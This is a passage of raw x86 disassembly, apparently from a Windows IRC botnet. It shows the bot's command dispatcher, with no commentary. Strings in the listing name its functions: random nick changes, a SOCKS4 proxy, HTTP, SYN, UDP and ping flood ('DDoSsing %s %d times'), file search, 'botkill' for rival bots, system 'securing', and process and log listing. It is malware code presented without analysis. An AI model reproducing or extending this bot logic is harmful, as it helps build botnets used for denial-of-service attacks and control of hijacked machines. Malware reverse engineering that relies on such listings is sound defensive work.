lea eax, [ebp - 0xdc]
push eax
push dword [ebp + 8]
call fcn.0040b5e2
add esp, 0xc
jmp 0x404042
mov eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0xcc]
cmp dword [ebp + eax*4 - 0xa8], 0
jne 0x404042
push 2
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x86c]
push eax
call fcn.0041ed20
add esp, 0xc
and byte [ebp - 0x86a], 0
lea eax, [ebp - 0x86c]
push eax
lea eax, [ebp - 0xdc]
push eax
push dword [ebp + 8]
call fcn.0040b5e2
add esp, 0xc
jmp 0x403f19
mov dword [ebp - 0xcc], 0x10
jmp 0x404060
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jle 0x4040d8
push dword [ebp - 0xcc]
push 0x44121c
lea eax, [ebp - 0xdc]
push eax
call fcn.0041ee40
add esp, 0xc
lea eax, [ebp - 0xdc]
push eax
push dword [ebp + 8]
call fcn.0041f550
pop ecx
pop ecx
test eax, eax
je 0x4040d3
mov eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0xcc]
cmp dword [ebp + eax*4 - 0xac], 0
je 0x4040d3
mov eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0xcc]
push dword [ebp + eax*4 - 0xac]
lea eax, [ebp - 0xdc]
push eax
push dword [ebp + 8]
call fcn.0040b5e2
add esp, 0xc
jmp 0x404053
mov dword [ebp - 0xd0], 1
jmp 0x4040e9
jmp 0x403e53
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0xac]
movsx eax, byte [eax]
movsx ecx, byte [0x440922]
cmp eax, ecx
je 0x404111
cmp dword [ebp - 0xd0], 0
je 0x404375
push dword [ebp + 0x18]
push 0x441220
push dword [ebp + 8]
call fcn.0040b5e2
add esp, 0xc
lea eax, [ebp - 0xc4]
push eax
push str._user
push dword [ebp + 8]
call fcn.0040b5e2
add esp, 0xc
push dword [ebp - 0xa4]
push str._chan
push dword [ebp + 8]
call fcn.0040b5e2
add esp, 0xc
push 0
push 0
push 2
lea eax, [ebp - 0xdc]
push eax
call fcn.0041aee9
add esp, 0x10
push eax
push str._rndnick
push dword [ebp + 8]
call fcn.0040b5e2
add esp, 0xc
push dword [ebp + 0x1c]
push str._server
push dword [ebp + 8]
call fcn.0040b5e2
add esp, 0xc
push 0x441248
push dword [ebp + 8]
call fcn.0041f550
pop ecx
pop ecx
test eax, eax
je 0x4042b6
push str._chr_
push dword [ebp + 8]
call fcn.0041f550
pop ecx
pop ecx
mov dword [ebp - 0xa0c], eax
push 4
mov eax, dword [ebp - 0xa0c]
add eax, 5
push eax
lea eax, [ebp - 0xdc]
push eax
call fcn.0041ed20
add esp, 0xc
push 0x441258
lea eax, [ebp - 0xdc]
push eax
call fcn.00420380
pop ecx
pop ecx
movsx eax, byte [ebp - 0xdc]
cmp eax, 0x30
jl 0x4041fc
movsx eax, byte [ebp - 0xdc]
cmp eax, 0x39
jle 0x404212
push 3
push 0x44125c
lea eax, [ebp - 0xdc]
push eax
call fcn.0041ed20
add esp, 0xc
lea eax, [ebp - 0xdc]
push eax
call fcn.0041f200
pop ecx
test eax, eax
jle 0x404238
lea eax, [ebp - 0xdc]
push eax
call fcn.0041f200
pop ecx
mov byte [ebp - 0x86c], al
jmp 0x40424c
call fcn.0041eb20
cdq
push 0x60
pop ecx
idiv ecx
add edx, 0x20
mov byte [ebp - 0x86c], dl
and byte [ebp - 0x86b], 0
lea eax, [ebp - 0xdc]
push eax
call fcn.0041ec40
pop ecx
mov dword [ebp - 0xcc], eax
push 0xc
push 0
lea eax, [ebp - 0xdc]
push eax
call fcn.0041ecc0
add esp, 0xc
mov eax, dword [ebp - 0xcc]
add eax, 6
push eax
push dword [ebp - 0xa0c]
lea eax, [ebp - 0xdc]
push eax
call fcn.0041ed20
add esp, 0xc
lea eax, [ebp - 0x86c]
push eax
lea eax, [ebp - 0xdc]
push eax
push dword [ebp + 8]
call fcn.0040b5e2
add esp, 0xc
jmp 0x40418a
push 0x1ff
push dword [ebp + 8]
lea eax, [ebp - 0x2dc]
push eax
call fcn.0041ed20
add esp, 0xc
push 0x1ff
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x5e0]
push eax
call fcn.0041ed20
add esp, 0xc
push 0x441260
lea eax, [ebp - 0x5e0]
push eax
call fcn.00420380
pop ecx
pop ecx
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x5e4], 1
jmp 0x40431a
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 0x20
jge 0x404340
push 0x441264
push 0
call fcn.00420380
pop ecx
pop ecx
mov ecx, dword [ebp - 0x5e4]
mov dword [ebp + ecx*4 - 0xac], eax
jmp 0x40430d
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xac], 0
jne 0x404358
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0xac]
add eax, 3
mov ecx, dword [ebp - 0xc8]
mov dword [ebp + ecx*4 - 0xac], eax
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.rndnick
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4043f1
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
movzx eax, byte [ebp - 0x370]
neg eax
sbb eax, eax
neg eax
push eax
push dword [0x440904]
lea eax, [ebp - 0x2c]
push eax
call fcn.0041aee9
add esp, 0x10
lea eax, [ebp - 0x2c]
push eax
push 0x441268
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
push str._MAIN_
push str._s_Random_nick_change:__s
call fcn.0040a8db
add esp, 0xc
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d0c4
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x404436
push dword [ebp - 0xa8]
push 0x441290
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x404431
call fcn.0041da9e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x40a62d
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.logout
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4045d6
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x404528
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.0041f200
pop ecx
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 0
jl 0x404507
cmp dword [ebp - 0x5e4], 2
jge 0x404507
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
movsx eax, byte [ecx + eax]
test eax, eax
je 0x4044e6
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
lea eax, [ecx + eax + 1]
push eax
push str._MAIN_
push str._s_User__s_logged_out.
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
and byte [ecx + eax], 0
jmp 0x404505
push dword [ebp - 0x5e4]
push str._MAIN_
push str._s_No_user_logged_in_at_slot:__d
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
jmp 0x404526
push dword [ebp - 0x5e4]
push str._MAIN_
push str._s_Invalid_login_slot_number:__d
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
jmp 0x40459b
and dword [ebp - 0x5e4], 0
jmp 0x40453e
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 2
jge 0x40459b
push dword [ebp - 0xac]
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
add ecx, eax
push ecx
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x404599
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
and byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push eax
push str._MAIN_
push str._s_User__s_logged_out
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
jmp 0x40459b
jmp 0x404531
cmp dword [ebp - 4], 0
jne 0x4045c1
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d040
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40464c
push str._rx_j4rk_spliter_penguin_
push str._MAIN_
push 0x44130c
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 4], 0
jne 0x404637
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d2a4
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x40468a
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d2ac
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x404717
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xa90], eax
push dword [ebp - 0xa4]
lea eax, [ebp - 0xa8c]
push eax
call fcn.00420130
pop ecx
pop ecx
push str._rx_j4rk_spliter_penguin_
push str._MAIN_
push 0x441314
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 4], 0
jne 0x4046eb
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 0
push 0
lea eax, [ebp - 0xa90]
push eax
push 0x419e24
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x40a62d
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.socks4
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x404916
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x404793
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.0041f200
pop ecx
test eax, eax
jne 0x40476c
mov eax, dword [0x44091c]
mov dword [ebp - 0x33e0], eax
jmp 0x404785
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.0041f200
pop ecx
mov dword [ebp - 0x33e0], eax
mov eax, dword [ebp - 0x33e0]
mov dword [ebp - 0x33e4], eax
jmp 0x40479e
mov eax, dword [0x44091c]
mov dword [ebp - 0x33e4], eax
mov eax, dword [ebp - 0x33e4]
mov dword [ebp - 0xaac], eax
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa4], 0
je 0x4047e0
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa4]
push 0x10
lea eax, [ebp - 0xabc]
push eax
call fcn.0041f000
add esp, 0xc
mov dword [ebp - 0x33e8], eax
jmp 0x40482b
movzx eax, byte [ebp - 0x37f]
test eax, eax
je 0x40480b
lea eax, [ebp - 0xc4]
push eax
push 0x10
lea eax, [ebp - 0xabc]
push eax
call fcn.0041f000
add esp, 0xc
mov dword [ebp - 0x33ec], eax
jmp 0x40481f
and byte [ebp - 0xabc], 0
movsx eax, byte [ebp - 0xabc]
mov dword [ebp - 0x33ec], eax
mov eax, dword [ebp - 0x33ec]
mov dword [ebp - 0x33e8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xb40], eax
mov eax, dword [ebp - 0x868]
mov dword [ebp - 0xaa0], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xa9c], eax
push dword [ebp - 0xa4]
push 0x80
lea eax, [ebp - 0xb3c]
push eax
call fcn.0041f000
add esp, 0xc
push dword [ebp - 0xaac]
push dword [ebp + 0xc]
call fcn.0040c969
pop ecx
push eax
push 0x44132c
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
push 0
push 0x11
lea eax, [ebp - 0x864]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0xaa8], eax
lea eax, [ebp - 0x874]
push eax
push 0
lea eax, [ebp - 0xb40]
push eax
push 0x41b6e5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xaa8]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0xaa8]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x4048fb
cmp dword [ebp - 0xa98], 0
jne 0x4048f9
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4048e6
jmp 0x40490e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._SOCKS4_:_Failed_to_start_server_thread__error:___d_.
call fcn.0040a8db
pop ecx
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.socks4stop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40496e
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x11
push 0x441388
push str._SOCKS4_
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.httpflood
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x404b31
push 0x7f
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
lea eax, [ebp - 0xcd8]
push eax
call fcn.0041ed20
add esp, 0xc
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa4]
call fcn.0041f200
pop ecx
mov dword [ebp - 0xb54], eax
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa0]
call fcn.0041f200
pop ecx
mov dword [ebp - 0xb50], eax
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0x9c], 0
je 0x404a0d
push 0x7f
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0x9c]
lea eax, [ebp - 0xc58]
push eax
call fcn.0041ed20
add esp, 0xc
push 0x7f
push dword [ebp - 0xa4]
lea eax, [ebp - 0xbd8]
push eax
call fcn.0041ed20
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xcdc], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xb4c], eax
mov eax, dword [ebp - 0x868]
mov dword [ebp - 0xb48], eax
push dword [ebp - 0xb50]
push dword [ebp - 0xb54]
lea eax, [ebp - 0xcd8]
push eax
push str._HTTP_:_DDoSsing__s__d_times_with_a__d_ms__delay
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x14
push 0
push dword [ebp - 0xb48]
lea eax, [ebp - 0x864]
push eax
lea eax, [ebp - 0xbd8]
push eax
push dword [ebp - 0xcdc]
call fcn.0040bf6c
add esp, 0x14
push 0
push 0x15
lea eax, [ebp - 0x864]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0xb58], eax
lea eax, [ebp - 0x874]
push eax
push 0
lea eax, [ebp - 0xcdc]
push eax
push 0x415138
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xb58]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0xb58]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x404b01
cmp dword [ebp - 0xb44], 0
jne 0x404aff
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404aec
jmp 0x404b1c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_start_connection_thread__error:___d_.
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0xc
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.findfile
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x404b6f
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d354
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x404cd9
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x104
lea eax, [ebp - 0xef4]
push eax
call fcn.0041f000
add esp, 0xc
cmp dword [ebp - 0x2e0], 0
je 0x404bd6
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa4]
push dword [ebp - 0x2e0]
call fcn.0041f550
pop ecx
pop ecx
mov dword [ebp - 0xf7c], eax
cmp dword [ebp - 0xf7c], 0
je 0x404bd6
push dword [ebp - 0xf7c]
lea eax, [ebp - 0xdf0]
push eax
call fcn.0041ee40
pop ecx
pop ecx
push dword [ebp - 0xa4]
push 0x80
lea eax, [ebp - 0xf74]
push eax
call fcn.0041f000
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xf78], eax
mov eax, dword [ebp - 0x868]
mov dword [ebp - 0xce8], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xce4], eax
lea eax, [ebp - 0xdf0]
push eax
lea eax, [ebp - 0xef4]
push eax
push str.Searching_for_file:__s_in:__s.
push 0x200
lea eax, [ebp - 0x864]
push eax
call fcn.0041f000
add esp, 0x14
push 0
push 0x1b
lea eax, [ebp - 0x864]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0xcec], eax
lea eax, [ebp - 0x874]
push eax
push 0
lea eax, [ebp - 0xf78]
push eax
push 0x41e645
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xcec]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0xcec]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x404ca9
cmp dword [ebp - 0xce0], 0
jne 0x404ca7
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404c94
jmp 0x404cc4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_start_search_thread__error:___d_.
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0xc
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.ff.off
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x404d31
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x1b
push str.Find_file
push str..f.indfil.e...
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d044
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x404d6d
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041d4d5
add esp, 0xc
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.secure
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x404dab
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.unsecure
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x404ef3
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.secure
call fcn.004202f0
pop ecx
pop ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0xf8c], eax
push dword [ebp - 0xa4]
push 0x80
lea eax, [ebp - 0x1010]
push eax
call fcn.0041f000
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x868]
mov dword [ebp - 0xf88], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xf84], eax
cmp dword [ebp - 0xf8c], 0
je 0x404e1c
mov dword [ebp - 0x33f0], str.Securing
jmp 0x404e26
mov dword [ebp - 0x33f0], str.Unsecuring
push dword [ebp - 0x33f0]
push str._MAIN_
push str._s__s_System
push 0x200
lea eax, [ebp - 0x864]
push eax
call fcn.0041f000
add esp, 0x14
push 0
push 0x19
lea eax, [ebp - 0x864]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0xf90], eax
lea eax, [ebp - 0x874]
push eax
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x40ea6a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xf90]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0xf90]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x404ebe
cmp dword [ebp - 0xf80], 0
jne 0x404ebc
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404ea9
jmp 0x404ede
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._MAIN_
push str._s_Failed_to_start_secure_thread__error__d
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.botkill
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x404f73
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10a8], eax
cmp dword [ebp - 4], 0
je 0x404f28
mov byte [ebp - 0x10a4], 1
jmp 0x404f2f
and byte [ebp - 0x10a4], 0
push dword [ebp - 0xa4]
lea eax, [ebp - 0x10a3]
push eax
call fcn.00420130
pop ecx
pop ecx
mov eax, dword [ebp - 0x868]
mov dword [ebp - 0x1020], eax
lea eax, [ebp - 0x874]
push eax
push 0
lea eax, [ebp - 0x11b0]
push eax
push 0x41167b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x40a62d
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.httpdstop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x404fcb
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 3
push 0x4414bc
push 0x4dd8e0
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.logstop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405030
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x1c
push str.Log_list
push 0x4dd8e4
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.ddos.stop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405088
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0xa
push str.DDoS_flood
push str._DDoS_
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.synstop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4050e0
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0xb
push str.Syn_flood
push str._SYN_
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.udpstop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405138
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0xf
push str.UDP_flood
push str._UPD_
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.pingstop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405190
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0xe
push str.Ping_flood
push str._PING_
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.httpstop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4051e8
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x15
push str.HTTP_flood
push str._HTTP_
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.tftpstop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405240
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 4
push 0x441540
push str._TFTP_
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.ftfpstop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4052a5
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 4
push str.Server
push 0x4dd8e8
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.procsstop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40530a
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x1e
push str.Process_list
push 0x4dd8ec
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.securestop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x405362
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x19
push str.Secure
push 0x4dd8f0
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.stop
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4053ba
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 8
push str.Scan
push 0x4dd8f4
push dword [ebp - 4]
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0041dbf5
add esp, 0x20
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.stats
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4053f6
push dword [ebp - 0x868]
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.00410260
add esp, 0xc
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
